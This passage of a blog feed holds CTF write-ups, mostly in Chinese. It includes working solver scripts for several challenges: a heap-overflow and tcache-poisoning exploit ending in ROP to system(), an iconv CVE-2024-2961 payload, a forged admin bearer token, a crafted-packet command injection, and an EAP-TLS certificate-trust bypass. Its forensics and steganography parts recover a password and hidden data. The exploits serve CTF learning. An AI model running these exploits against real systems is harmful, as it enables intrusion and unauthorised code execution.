        if m == 1:
            x = (rol32(x ^ 0x41, (i &amp; 7) + 3) + r11) &amp; M32
        elif m == 2:
            x = ror32((x * 0x10101) &amp; M32, (i &amp; 7) + 1) ^ r11
        elif m == 0:
            x = ((x &lt;&lt; ((i &amp; 3) * 8)) &amp; M32) ^ r11
        else:
            x = (((r11 &gt;&gt; 11) ^ x) + r11) &amp; M32
        edi = (edi + 0x11) &amp; M32
        r11 = ((rol32(x, 5) * 0x45d9f3b) + 0x27100001) &amp; M32
    return (r11 ^ 0xa5c31e2d) &amp; M32

def edge_key(seed):
    ebx = int.from_bytes(seed.to_bytes(4, "big"), "little")
    a = (((seed ^ 0x7f4a7c15) * 0x45d9f3b + 0x27100001) &amp; M32)
    a = rol32(a, ((ebx &gt;&gt; 24) &amp; 7) + 5)
    b = ror32((seed - 0x5a3ce1d3) &amp; M32, ((ebx &gt;&gt; 16) &amp; 7) + 3)
    return 0x31415927 if a == b else (a ^ b) &amp; M32

def activation(seed=0x12345678):
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x36]) + seed.to_bytes(4,"big") + b"\0"*4)
    p[10:14] = csum(p[4:10], (seed ^ 0xa7) &amp; 0xff).to_bytes(4,"big")
    return bytes(p), edge_key(seed)

def route_pkt(key, route=b"/H", up=b"courier:7000"):
    k = 0x42
    dec = k ^ 0xa7
    er = bytes(c ^ ((0x31 + 13*i) &amp; 0xff) ^ dec for i,c in enumerate(route))
    eu = bytes(c ^ ((0x31 + 13*i) &amp; 0xff) ^ dec for i,c in enumerate(up))
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x71,0x22,k]))
    p += len(route).to_bytes(2,"big") + len(up).to_bytes(2,"big") + key.to_bytes(4,"big")
    p += er + eu
    p += csum(p[4:], (k ^ 0xa7) &amp; 0xff).to_bytes(4,"big")
    return bytes(p)

def mark(tag,bucket,pressure):
    x = ((pressure &lt;&lt; 9) ^ (tag &lt;&lt; 21) ^ bucket ^ 0x434f555249455237) &amp; M64
    return rol64((x * 0x9e3779b97f4a7c15) &amp; M64, (tag &amp; 0xf) + 7) ^ 0xa24baed4963ee407

def slot(tag,bucket,pressure,n):
    return mix64((tag&lt;&lt;32) ^ (pressure&lt;&lt;7) ^ ((n*0x9e3779b97f4a7c15)&amp;M64) ^ (bucket&lt;&lt;19) ^ 0x6c61796f75745f30) &amp; 3

def slide(tag,bucket,pressure,gate,n):
    x = ((n*0xd6e8feb86659fd93)&amp;M64) ^ gate ^ mark(tag,bucket,pressure) ^ (tag&lt;&lt;23) ^ (pressure&lt;&lt;51) ^ 0x736c6964655f3130
    return (mix64(x) % 3) * 8

def stream(tag,bucket,pressure,gate,i,l):
    x = (pressure&lt;&lt;19) ^ i ^ (l&lt;&lt;7) ^ rol64(gate,(i&amp;15)+3) ^ (tag&lt;&lt;32) ^ 0x544150455f4c4f47
    x = (x + ((i*0x9e3779b97f4a7c15)&amp;M64) + mark(tag,bucket,pressure)) &amp; M64
    y = mix64(x)
    return (y ^ (y &gt;&gt; 17) ^ (y &gt;&gt; 41)) &amp; M32

def cmdhash(enc,tag,bucket,pressure,gate):
    v = (tag ^ ((pressure * 0x45d9f3b) &amp; M32) ^ len(enc) ^ 0x811c9dc5) &amp; M32
    for i,b in enumerate(enc):
        v = (((b + (stream(tag,bucket,pressure,gate,i,len(enc)) &amp; 0xff)) ^ v) * 0x1000193) &amp; M32
        v ^= v &gt;&gt; 13
    return (v ^ 0x6d2b79f5) &amp; M32

def req():
    n, tag, bucket, pressure = 512, 0x0d45c059, 17, 29
    path = b"/H=\xc8\x01\x01\xc8/1kVa/6.9R"
    gate = mix64((bucket &lt;&lt; 44) ^ (pressure &lt;&lt; 19) ^ 0x484570243e202f2c)
    host12 = ((n &lt;&lt; 7) ^ gate ^ 0x5353495f504f5354) &amp; 0xffffffffffff

    h = [
        b"POST " + path + b" HTTP/1.1",
        b"Host: " + b"A"*0x558 + f"{host12:012x}".encode(),
        b"XXGATS_IGC: z",
        b"Content-Length: 512",
        b"-tveemh: raw",
    ] + [b"x-render-worker: z"] * 30
    head = b"\r\n".join(h) + b"\r\nX-Pad: " + bytes.fromhex("b97455010105") + b"\r\n\r\n"

    body = bytearray(b"\0" * n)
    mk = mark(tag,bucket,pressure)
    key = mix64((tag &lt;&lt; 11) ^ (pressure &lt;&lt; 47) ^ gate ^ 0x6a73696d705f6275)

    body[0x49:0x51] = struct.pack("&lt;Q", 0x58)
    body[0x58:0x60] = struct.pack("&lt;Q", 0x58)
    body[0x80:0x88] = struct.pack("&lt;Q", key ^ 0x9c8e949aa062989e)
    body[0x88:0x90] = struct.pack("&lt;Q", key ^ 0x01a00000)
    body[0x90:0x98] = struct.pack("&lt;Q", key ^ rol64((gate ^ mk) &amp; M32, 17))
    body[0xd0:0xd8] = struct.pack("&lt;Q", 0xf8)
    body[0xd8:0xe0] = struct.pack("&lt;Q", 0x5245545f414c4947)
    body[0xe0:0xe8] = struct.pack("&lt;Q", 0x53595354454d5f31)

    sl = slide(tag,bucket,pressure,gate,n)
    st = slot(tag,bucket,pressure,n)
    ecx = (tag ^ ((pressure * 0x45d9f3b) &amp; M32)) &amp; M32
    x = (ecx ^ 0x6a09e667) &amp; M32
    x = ((x ^ (x &gt;&gt; 16)) * 0x7feb352d) &amp; M32
    x = (x ^ (x &gt;&gt; 15)) &amp; M32
    dst = (x &amp; 7) + sl

    def put(o,d):
        body[o-dst:o-dst+len(d)] = d

    xgm = gate ^ mk
    seed = mix64((tag&lt;&lt;32) ^ (pressure&lt;&lt;23) ^ (st&lt;&lt;57) ^ ((n*0x94d049bb133111eb)&amp;M64) ^ (sl&lt;&lt;48) ^ xgm ^ 0x7072656c75646531)
    put(0x107, struct.pack("&lt;Q", seed ^ 0x535441474532))
    put(0x10f, struct.pack("&lt;I", ror64(((tag &lt;&lt; 17) &amp; M64) ^ seed, (pressure &amp; 7) + 5) &amp; M32))
    put(0x113, struct.pack("&lt;H", (rol64(seed, bucket + 3) ^ n ^ 0x6d5a) &amp; 0xffff))
    put(0x115, bytes((mix64(((0x9e3779b97f4a7c15*i)&amp;M64)+seed) ^ (9*i+0x31) ^ (n&gt;&gt;(i&amp;7)) ^ (tag&gt;&gt;(8*(i&amp;3)))) &amp; 0xff for i in range(17)))

    cache = mix64((tag&lt;&lt;33) ^ (pressure&lt;&lt;48) ^ (st&lt;&lt;12) ^ ((n*0xa24baed4963ee407)&amp;M64) ^ (sl&lt;&lt;56) ^ xgm ^ 0x7463616368655f31)
    put(0x126, struct.pack("&lt;Q", cache))
    put(0x146, struct.pack("&lt;Q", mk))

    cmd = b"cat /flag.txt"
    enc = bytes(c ^ ((0x17*i - 0x59) &amp; 0xff) ^ (stream(tag,bucket,pressure,gate,i,len(cmd)) &amp; 0xff) for i,c in enumerate(cmd))
    chk = cmdhash(enc,tag,bucket,pressure,gate)
    put(0x13e, struct.pack("&lt;I", len(cmd)))
    put(0x142, struct.pack("&lt;I", chk))
    put(0x156, enc)

    a = mix64(mk ^ ((tag&lt;&lt;28)&amp;M64) ^ ((chk&lt;&lt;17)&amp;M64) ^ ((len(cmd)&lt;&lt;49)&amp;M64) ^ ((n*0xd6e8feb86659fd93)&amp;M64) ^ rol64(gate,9) ^ 0xfeedface43474931)
    sh = ((chk ^ len(cmd) ^ tag ^ (gate &amp; M32)) &amp; 0x1f) + 0x0d
    target = 0x4022ac
    put(0x14e, struct.pack("&lt;Q", ((rol64(target ^ a, sh) - 0xe9a9984e61c88607) &amp; M64) ^ ror64(a,17)))

    return head + bytes(body)

def parse(u):
    if "://" in u:
        x = urlparse(u)
        return x.hostname, x.port or 80
    if ":" in u:
        h,p = u.rsplit(":",1)
        return h,int(p)
    return u,int(sys.argv[2])

def main():
    host, port = parse(sys.argv[1])
    p1, key = activation()
    p2 = route_pkt(key)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for _ in range(3):
        s.sendto(p1, (host, port))
        s.sendto(p2, (host, port))
        time.sleep(0.05)

    s = socket.create_connection((host, port))
    s.sendall(req())
    s.shutdown(socket.SHUT_WR)
    res = b""
    while True:
        d = s.recv(65536)
        if not d:
            break
        res += d

    print(res.decode(errors="ignore"))
    m = re.search(rb"NHNC\{[^}]+\}", res)
    if m:
        print("flag:", m.group().decode())

main()
</code></pre>
<hr />
<h2>TEAGod Tech Staff WiFi</h2>
<ul>
<li>Author: chilin.h</li>
</ul>
<p>這題是 FreeRADIUS / EAP-TLS。題目給的 <code>freeradius/cert/ca.pem</code> 不是內部 CA，而是公開的 Actalis Authentication Root CA，所以只要拿一張 Actalis 簽出的 client authentication certificate，就可以被當成合法 staff cert 通過驗證。</p>
<p>Exploit:</p>
<ol>
<li>檢查 FreeRADIUS 的 EAP-TLS 設定，發現 client cert 信任 <code>freeradius/cert/ca.pem</code></li>
<li>確認 <code>ca.pem</code> 是 <code>Actalis Authentication Root CA</code></li>
<li>申請免費 Actalis client certificate，匯出 <code>client.crt / client.key / chain.pem</code></li>
<li>只保留 leaf + <code>Actalis Client Authentication CA G3</code>，不要把 root 一起送，避免 packet 太大</li>
<li>用 <code>eapol_test</code> 跑 EAP-TLS，成功後從 <code>Reply-Message</code> 拿 flag</li>
</ol>
<ul>
<li><code>staff.conf</code></li>
</ul>
<pre><code>network={
    key_mgmt=IEEE8021X
    eap=TLS
    identity="your_mail@example.com"
    ca_cert="freeradius/cert/ca.pem"
    client_cert="client-min-chain.pem"
    private_key="client-clean.key"
    fragment_size=400
}
</code></pre>
<p>Flag: <code>NHNC{Huh...HoW_did_U_10g_iN?_https://zeroday.hitcon.org/vulnerability/ZD-2025-00549}</code></p>
<hr />
<h2>67 login system</h2>
<ul>
<li>Author: Auron</li>
</ul>
<p>題目是一個 login system，使用者資料會用 <code>malloc(0x48)</code> 配置，結構大概是 <code>name[0x40] + FILE*</code>。漏洞點有兩個：<code>show</code> 會直接 <code>printf(username)</code> 造成 format string leak，<code>update</code> 會對 0x48 的 chunk 讀入 0x200 bytes，造成 heap overflow。利用 overflow 改壞後面 <code>FILE</code> chunk 的 size，製造 heap overlap，再 tcache poisoning 控制 <code>.bss</code> 上的 <code>slots[]</code>，最後任意讀 leak libc，任意寫蓋 stack return address 打 <code>system("cat /flag.txt")</code>。</p>
<p>Exploit:</p>
<ol>
<li>用 <code>%7$p</code> leak PIE，<code>%13$p</code> leak stack hint。</li>
<li><code>show</code> raw output leak slot0 後面的 <code>FILE*</code> heap address。</li>
<li>overflow slot0，把後面 <code>FILE</code> chunk size 從 <code>0x1e1</code> 改成 <code>0x51</code>。</li>
<li><code>delete(slot0)</code> 時 <code>fclose(FILE*)</code> 會把 fake 0x50 chunk 放進 tcache。</li>
<li>重新 malloc 拿到舊 <code>FILE</code> chunk，造成 overlap，可以 overflow 到後面的 user chunk。</li>
<li>free user chunk 後改 tcache next，safe-linking encode 成 <code>slots[]</code>。</li>
<li>malloc 到 <code>slots[]</code>，取得任意讀寫。</li>
<li>leak <code>read@got</code> 算 libc base。</li>
<li>掃 stack 找 main 裡 show/update 回來的位置，最後蓋 saved RIP。</li>
<li>ROP 呼叫 <code>system("cat /flag.txt")</code> 拿 flag。</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *
import os
import re

BIN = "./chal" if os.path.exists("./chal") else "./share/chal"
LIBC = "./libc.so.6"

context.binary = exe = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "info"

HOST = "txg.chal2.teagod.tech"
PORT = 16767

PROMPT = (
    b"1. register\n"
    b"2. show\n"
    b"3. login\n"
    b"4. update\n"
    b"5. delete\n"
    b"6. exit\n"
    b"&gt; "
)

OFF_PIE_LEAK_RET = 0x209c
OFF_SLOTS = 0x4060
OFF_READ_GOT = 0x3f88
OFF_RET = 0x101a
OFF_MAIN_AFTER_SHOW = 0x165c

def p64x(x):
    return p64(x &amp; 0xffffffffffffffff)

def start():
    return remote(HOST, PORT) if args.REMOTE else process([exe.path])

io = start()
io.recvuntil(PROMPT)

def menu(n):
    io.sendline(str(n).encode())

def reg(data):
    menu(1)
    io.recvuntil(b"username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def show(idx):
    menu(2)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def upd(idx, data):
    menu(4)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"new username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def dele(idx):
    menu(5)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def raw_from_show(out):
    i = out.rfind(PROMPT)
    return out[i - 0x48:i]

def set_slots(s0=0, s1=None, s2=0, s3=0):
    if s1 is None:
        s1 = slots
    upd(1, flat(p64x(s0), p64x(s1), p64x(s2), p64x(s3)))

def leak48(addr):
    set_slots(s0=addr)
    return raw_from_show(show(0))

def find_stack_ret(stack_hint):
    target = pie + OFF_MAIN_AFTER_SHOW
    start = (stack_hint - 0x500) &amp; ~0xf
    end = stack_hint + 0x300

    for addr in range(start, end, 0x40):
        data = leak48(addr)
        for off in range(0, 0x48, 8):
            if u64(data[off:off + 8]) == target:
                return addr + off

    return stack_hint - 0x120

def find_exec_gadget(elf, pat):
    data = open(elf.path, "rb").read()

    for seg in elf.segments:
        h = seg.header
        if h.p_type != "PT_LOAD":
            continue
        if not (int(h.p_flags) &amp; 1):
            continue

        off = int(h.p_offset)
        size = int(h.p_filesz)
        vaddr = int(h.p_vaddr)

        idx = data[off:off + size].find(pat)
        if idx != -1:
            return elf.address + vaddr + idx

    return None

def make_system_rop(arg):
    ret = pie + OFF_RET

    pop_rdi = find_exec_gadget(libc, b"\x5f\xc3")
    if pop_rdi:
        return flat(ret, pop_rdi, arg, libc.sym["system"])

    pop_rdi_rbp = find_exec_gadget(libc, b"\x5f\x5d\xc3")
    if pop_rdi_rbp:
        return flat(pop_rdi_rbp, arg, 0, libc.sym["system"])

    pop_rdi_r12 = find_exec_gadget(libc, b"\x5f\x41\x5c\xc3")
    if pop_rdi_r12:
        return flat(pop_rdi_r12, arg, 0, libc.sym["system"])

    raise RuntimeError("no gadget")

fmt = b"%7$p.%13$p.\n"
reg(fmt)

out = show(0)
line = out.split(b"\n", 1)[0]

m = re.search(
    rb"username:\s*(0x[0-9a-fA-F]+|\(nil\))\.(0x[0-9a-fA-F]+|\(nil\))\.",
    line
)

pie = int(m.group(1), 16) - OFF_PIE_LEAK_RET
stack_hint = int(m.group(2), 16)

raw = raw_from_show(out)
fp0 = u64(raw[0x40:0x48])

A = fp0 - 0x50
B = A + 0x230

slots = pie + OFF_SLOTS
read_got = pie + OFF_READ_GOT

log.info(f"PIE        = {hex(pie)}")
log.info(f"stack hint = {hex(stack_hint)}")
log.info(f"FILE0      = {hex(fp0)}")
log.info(f"slots[]    = {hex(slots)}")

reg(b"B" * 0x3f + b"\n")

upd(0, b"C" * 0x40 + p64x(fp0) + p64x(0x51))
dele(0)

reg(b"D" * 0x3f + b"\n")
reg(b"E" * 0x3f + b"\n")

dele(0)
dele(1)

enc = slots ^ (B &gt;&gt; 12)
upd(2, b"F" * 0x1e0 + p64x(enc) + p64x(0))

reg(b"G" * 0x3f + b"\n")
reg(p64x(0) + p64x(0) + p64x(0) + p64x(0))

log.success("controlled slots[]")

read_addr = u64(leak48(read_got)[:8])
libc.address = read_addr - libc.sym["read"]

log.success(f"libc base = {hex(libc.address)}")

stack_ret = find_stack_ret(stack_hint)
log.success(f"stack ret = {hex(stack_ret)}")

cmd_addr = slots + 0x80

payload = flat(
    p64x(stack_ret),
    p64x(slots),
    p64x(0),
    p64x(0),
)

payload = payload.ljust(0x80, b"\x00") + b"cat /flag.txt\x00"
upd(1, payload)

rop = make_system_rop(cmd_addr)

menu(4)
io.recvuntil(b"slot: ")
io.sendline(b"0")
io.recvuntil(b"new username: ")
io.send(rop.ljust(0x200, b"\x00"))

print(io.recvall(timeout=3).decode(errors="ignore"))
</code></pre>
<p>Flag:
<code>NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}</code></p>
<hr />
<h2>Confused Component - Rev</h2>
<ul>
<li>Author: hsuan0223x</li>
</ul>
<p>這題是 Web 題的延伸。先用 Web 題找到的 static handler bypass 洩漏同一個 instance 的 <code>auth</code> component，接著從 wasm 裡找出 <code>CCVM1</code> blob，實作 VM 後對 admin payload 算 proof。最後把 <code>{uid, team, exp, nonce, proof}</code> 做 canonical JSON，再 base64url 成 Bearer token 打 <code>/admin/flag</code>。</p>
<p>Exploit:</p>
<ol>
<li>從同一個 instance leak component：<code>/assets/manual.css;handler=component;name=auth</code></li>
<li>在 wasm 裡搜尋 <code>CCVM1</code>，切出 constants 和 bytecode</li>
<li>從 <code>/api/info</code> 拿 <code>team</code> 和 <code>server_time</code></li>
<li>nonce = <code>sha256(f"{team}:{server_time}")[:16]</code></li>
<li>對 admin core payload 做 canonical JSON</li>
<li>用 VM 跑出 32 bytes proof</li>
<li>final payload 加上 proof 後 base64url，作為 <code>Authorization: Bearer &lt;token&gt;</code> 打 <code>/admin/flag</code></li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import base64, hashlib, json, struct, sys
import requests

BASE = sys.argv[1].rstrip("/")
MASK = 0xffffffff

def b64(x):
    return base64.urlsafe_b64encode(x).rstrip(b"=").decode()

def canon(o):
    return json.dumps(o, separators=(",", ":"), sort_keys=True).encode()

def u32(b, i):
    return struct.unpack_from("&lt;I", b, i)[0]

def rol(x, n):
    x &amp;= MASK
    n &amp;= 31
    return ((x &lt;&lt; n) | (x &gt;&gt; (32 - n))) &amp; MASK

def get_component():
    r = requests.get(BASE + "/assets/manual.css;handler=component;name=auth")
    r.raise_for_status()
    return r.content

def parse_ccvm(wasm):
    p = wasm.find(b"CCVM1")
    assert p != -1
    clen, blen = struct.unpack_from("&lt;HH", wasm, p + 5)
    constants = wasm[p + 9:p + 9 + clen]
    bytecode = wasm[p + 9 + clen:p + 9 + clen + blen]
    return constants, bytecode

def run_vm(code, const, inp):
    r = [0] * 8
    mem = bytearray(256)
    ip = 0

    while True:
        op = code[ip]
        ip += 1

        if op == 0x01:
            a = code[ip]
            r[a] = u32(code, ip + 1)
            ip += 5
        elif op == 0x02:
            a, off = code[ip], code[ip + 1]
            r[a] = u32(inp, off)
            ip += 2
        elif op == 0x03:
            a, idx = code[ip], code[ip + 1]
            r[a] = u32(const, idx * 4)
            ip += 2
        elif op == 0x04:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] ^ r[b]) &amp; MASK
            ip += 2
        elif op == 0x05:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] + r[b]) &amp; MASK
            ip += 2
        elif op == 0x06:
            a, n = code[ip], code[ip + 1]
            r[a] = rol(r[a], n)
            ip += 2
        elif op == 0x07:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] * r[b]) &amp; MASK
            ip += 2
        elif op == 0x08:
            off, a = code[ip], code[ip + 1]
            mem[off:off + 4] = struct.pack("&lt;I", r[a] &amp; MASK)
            ip += 2
        elif op == 0x09:
            a, off = code[ip], code[ip + 1]
            r[a] = u32(mem, off)
            ip += 2
        elif op == 0x0a:
            dst, a, b = code[ip], code[ip + 1], code[ip + 2]
            r[dst] = ((r[a] ^ rol(r[b], 9)) + 0x9e3779b9) &amp; MASK
            ip += 3
        elif op == 0x0b:
            a = code[ip]
            rel = struct.unpack("b", code[ip + 1:ip + 2])[0]
            ip += 2
            if r[a]:
                ip += rel
        elif op == 0xff:
            return bytes(mem[:32])
        else:
            raise Exception(f"bad opcode {op:#x}")

wasm = get_component()
const, code = parse_ccvm(wasm)

info = requests.get(BASE + "/api/info").json()
team = info["team"]
server_time = int(info["server_time"])
nonce = hashlib.sha256(f"{team}:{server_time}".encode()).digest()[:16]

core = {
    "uid": "admin",
    "team": team,
    "exp": server_time + 900,
    "nonce": b64(nonce),
}

c = canon(core)
inp = (
    hashlib.sha256(c).digest()
    + nonce
    + hashlib.sha256(nonce + c + const[:16]).digest()
)

proof = run_vm(code, const, inp)

token_payload = dict(core)
token_payload["proof"] = b64(proof)
token = b64(canon(token_payload))

r = requests.get(
    BASE + "/admin/flag",
    headers={"Authorization": "Bearer " + token},
)

print(r.text)
</code></pre>]]></content>
    <category term="CTF" />
  </entry>
  <entry>
    <title>TSCCTF 2026 writeup</title>
    <link href="https://www.xzhiyouu.me/posts/tscctf-2026-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/tscctf-2026-writeup</id>
    <updated>2026-03-03T00:00:00.000Z</updated>
    <published>2026-03-03T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.C23Fu114_oFLxh.webp" alt="TSCCTF 2026 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>前言</h2>
<p>這是我第一次打 TSCCTF，這應該是辦給大學生打的 CTF，不過有公開組就來體驗一下，最後也是打到第 13 名。雖然有些題目是 AI 打出來的，但是也讓我學到很多！</p>
<img src="https://hackmd.io/_uploads/BJ5WiSNY-e.png" alt="image" />
<img src="https://hackmd.io/_uploads/Skrt6rVKZe.png" alt="image" />
<hr />
<h2>Pwn</h2>
<h3>Magic Word</h3>
<p>程式讀取一行字串後會呼叫</p>
<pre><code>iconv_open("ISO-2022-CN-EXT", "UTF-8");
iconv(cd, &amp;inptr, &amp;inlen, &amp;outptr, &amp;outlen);
</code></pre>
<p>且輸出 buffer 與 magic 放在同一個 packed struct：</p>
<pre><code>struct {
  char output[32];
  uint32_t magic;
} __attribute__((packed)) ctx;
</code></pre>
<p>最後檢查</p>
<pre><code>if (ctx.magic != 0) win();
</code></pre>
<p>所以只要讓 <code>ctx.magic</code> 變成非 0 就能進入 <code>win()</code> 拿到 shell。</p>
<p>經過搜尋後發現這其實是 CVE-2024-2961</p>
<p>漏洞原理參考：<a href="https://hackmd.io/@yjk930805/HJzCZdtLxx" rel="noopener noreferrer" target="_blank">https://hackmd.io/@yjk930805/HJzCZdtLxx</a></p>
<pre><code>from pwn import *

context.binary = ELF("./magic_word")
context.log_level = "info"

io = remote("172.31.3.2", 40002)

payload = b"A" * 31 + "劄".encode("utf-8")

io.recvuntil(b"Magic word: ")
io.sendline(payload)

io.interactive()
</code></pre>
<img src="https://hackmd.io/_uploads/rkpShHEtWg.png" alt="image" />
<blockquote><p>writeup 尚未完成</p></blockquote>]]></content>
    <category term="CTF" />
    <category term="Writeup" />
  </entry>
  <entry>
    <title>PwnSec CTF 2025 Forensics-HiddenData writeup</title>
    <link href="https://www.xzhiyouu.me/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup</id>
    <updated>2025-11-18T00:00:00.000Z</updated>
    <published>2025-11-18T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.C5hLxhH6_snuvB.webp" alt="PwnSec CTF 2025 Forensics-HiddenData writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2906" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2906</a></h4>
<img src="https://hackmd.io/_uploads/r1bVWa_e-l.png" alt="image" />
<p>下載後會發現是一個Windows的檔案
<img src="https://hackmd.io/_uploads/r1OvGauebe.png" alt="image" /></p>
<p>題目敘述提到了 chatting ，所以可能跟 Discord 有關<br />
上網找了一下有關 Discord chatting Forensics 的資料<br />
找到這篇報告 <a href="https://scispace.com/pdf/discord-server-forensics-analysis-and-extraction-of-digital-ci00a3c2ep.pdf" rel="noopener noreferrer" target="_blank">link</a><br />
可以發現 Discord 的聊天紀錄都會儲存在 <code>\AppData\Roaming\discord\Cache\Cache_Data</code> 這個快取裡面，並且報告中提到可以使用 <a href="https://www.nirsoft.net/utils/chrome_cache_view.html" rel="noopener noreferrer" target="_blank">ChromeCacheView</a> 這個工具檢視 Discord 的快取檔案<br /></p>
<img src="https://hackmd.io/_uploads/BJ-5Naug-g.png" alt="image" />
<p>找到有 <code>/messages?limit=50</code> 的檔案<br />
打開後可以發現這個<br /></p>
<pre><code>  {
    "type": 0,
    "content": "Got it I'll copy it now",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:18:20.453000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433762006892023870",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1377987216671772784",
      "username": "username12345_12345",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "After 5 minutes, the password will be deleted.",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:17:47.513000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761868731912332",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "Here’s the secret link — https://pastebin.com/AAGyxC3p",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [
      {
        "type": "link",
        "url": "https://pastebin.com/AAGyxC3p",
        "title": "Pastebin.com - Locked Paste",
        "description": "Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.",
        "provider": {
          "name": "Pastebin"
        },
        "content_scan_version": 0
      }
    ],
    "timestamp": "2025-10-31T10:17:20.211000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761754219020439",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
</code></pre>
<p>發現 <code>https://pastebin.com/AAGyxC3p</code><br />
但進去後要輸入密碼才能打開<br />
從聊天紀錄推測出他複製了密碼<br />
所以必須從 Windows 的紀錄中找到他到底複製了什麼<br />
上網爬了一下資料發現這個文章 <a href="https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html" rel="noopener noreferrer" target="_blank">link</a><br />
使用者的很多行為都會記錄在 <code>\AppData\Local\ConnectedDevicesPlatform\&lt;id&gt;\ActivitiesCache.db</code> 之下<br />
這邊使用 DB Browser for SQLite 去看這個 database<br /></p>
<img src="https://hackmd.io/_uploads/BJMCUTOgZx.png" alt="image" />
<p>解碼 base64 之後發現密碼是 <code>Th1$_1$_r3@l_p@$$w0rd!</code></p>
<p>貼到剛剛對話中出現的連結後就可以拿到 flag 了</p>
<img src="https://hackmd.io/_uploads/H1smDa_ebl.png" alt="image" />
<p>Flag: <code>flag{12d65e001866f854c23a48f0d47957ed}</code></p>]]></content>
    <category term="CTF" />
  </entry>
  <entry>
    <title>V1t CTF 2025 writeup</title>
    <link href="https://www.xzhiyouu.me/posts/v1t-ctf-2025-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/v1t-ctf-2025-writeup</id>
    <updated>2025-11-03T00:00:00.000Z</updated>
    <published>2025-11-03T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.VnWpD0uG_1AeT2C.webp" alt="V1t CTF 2025 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2920" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2920</a></h4>
<blockquote><p>Author: xzhiyouu</p></blockquote>
<p><strong>Please don’t mind my broken English.</strong></p>
<p>This is the first CTF I played with <a href="https://ctftime.org/team/113364" rel="noopener noreferrer" target="_blank">Flagaholic</a>.<br />
We got TOP 5 in the end.<br />
There were a total of 1237 participating teams.<br />
Thanks to my teammate and I <br />
Final Scoreboard here~<br />
<img src="https://hackmd.io/_uploads/S1hC_lHkZe.png" alt="image" /></p>
<p>I will write writeups for some interesting or guessy challenges.</p>
<hr />
<h3>[Misc] Dont Bother</h3>
<img src="https://hackmd.io/_uploads/rkjB2eHyZl.png" alt="image" />
<p>This challenge was too guessy, so out of more than 1,200 teams, only 16 managed to solve it.</p>
<p>Here’s my solution.</p>
<p>The image is 512×512 and in RGB format. Most pixels share the same base color (64, 77, 205).</p>
<p>Some pixels have been increased by 2 in certain channels (only 0 or +2, never a decrease), so they differ slightly from the base color.</p>
<p>The image is divided into many small square blocks, and only those along the main diagonal contain these “+2 footprints.”</p>
